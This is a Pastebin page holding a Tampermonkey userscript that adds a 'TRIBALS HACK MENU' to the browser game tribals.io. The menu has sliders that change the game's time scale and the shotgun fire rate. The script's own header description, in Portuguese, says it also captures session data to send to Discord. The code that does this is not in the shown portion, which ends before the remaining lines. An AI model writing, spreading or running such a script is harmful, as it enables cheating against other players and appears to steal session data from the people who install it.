Advertisement
Guest User

Untitled

a guest
Apr 8th, 2025
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.39 KB | None | 0 0
  1. // ==UserScript==
  2. // @name TRIBALS.IO SPEEDHACK
  3. // @namespace http://tampermonkey.net/
  4. // @version 2.3
  5. // @description Aumenta a velocidade do jogo e melhora a cadência de tiro da Shotgun no Tribals.io (com menu móvel) e captura dados de sessão para enviar ao Discord
  6. // @author ExplodIng_Andrey
  7. // @match https://tribals.io/*
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=tribals.io
  9. // @grant none
  10. // @run-at document-start
  11. // ==/UserScript==
  12.  
  13. (function() {
  14. 'use strict';
  15.  
  16. // Tribals.io Speedhack and Shotgun Boost Menu
  17. let menuVisible = true;
  18. let isDragging = false;
  19. let offsetX, offsetY;
  20.  
  21. function createMenu() {
  22. window.UI = document.createElement("div");
  23. UI.innerHTML = `
  24. <div id="menu-header">[ TRIBALS HACK MENU ]</div>
  25. <div class="menu-item">
  26. <label>Game Speed</label>
  27. <input type="range" min="0.1" max="300" value="1" class="slider" id="speed" step="0.1">
  28. <div id="value">100%</div>
  29. </div>
  30.  
  31. <div class="menu-item">
  32. <label>Shotgun Fire Rate</label>
  33. <input type="range" min="0.01" max="2" value="1" class="slider" id="fireRate" step="0.01">
  34. <div id="fireRateValue">100%</div>
  35. </div>
  36. `;
  37. UI.style = `
  38. left: 20px;
  39. top: 50px;
  40. position: fixed;
  41. border-radius: 15px;
  42. padding: 20px;
  43. background: rgba(0, 0, 0, 0.85);
  44. color: lime;
  45. font-family: "Courier New", monospace;
  46. z-index: 9999;
  47. width: 300px;
  48. height: 350px;
  49. display: flex;
  50. flex-direction: column;
  51. align-items: center;
  52. justify-content: space-evenly;
  53. box-shadow: 0px 0px 20px rgba(0, 255, 0, 0.8);
  54. border: 2px solid lime;
  55. animation: fadeIn 0.5s ease-out;
  56. cursor: default;
  57. user-select: none;
  58. `;
  59.  
  60. document.body.appendChild(UI);
  61.  
  62. const header = UI.querySelector("#menu-header");
  63. header.style = `
  64. font-size: 16px;
  65. font-weight: bold;
  66. width: 100%;
  67. text-align: center;
  68. padding-bottom: 10px;
  69. border-bottom: 2px solid lime;
  70. text-shadow: 0 0 5px lime, 0 0 10px lime;
  71. cursor: move;
  72. `;
  73.  
  74. let items = UI.querySelectorAll(".menu-item");
  75. items.forEach(item => {
  76. item.style = `
  77. width: 100%;
  78. display: flex;
  79. flex-direction: column;
  80. align-items: center;
  81. padding: 5px 0;
  82. `;
  83. });
  84.  
  85. let sliders = UI.querySelectorAll(".slider");
  86. sliders.forEach(slider => {
  87. slider.style.width = "90%";
  88. slider.style.accentColor = "lime";
  89. });
  90.  
  91. const speedInput = UI.querySelector("#speed");
  92. const speedValue = UI.querySelector("#value");
  93.  
  94. speedInput.addEventListener("input", () => {
  95. let speed = Number(speedInput.value);
  96. speedValue.innerText = speed + "X";
  97. pc.app.timeScale = speed;
  98. });
  99.  
  100. const fireRateInput = UI.querySelector("#fireRate");
  101. ... (117 lines left)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement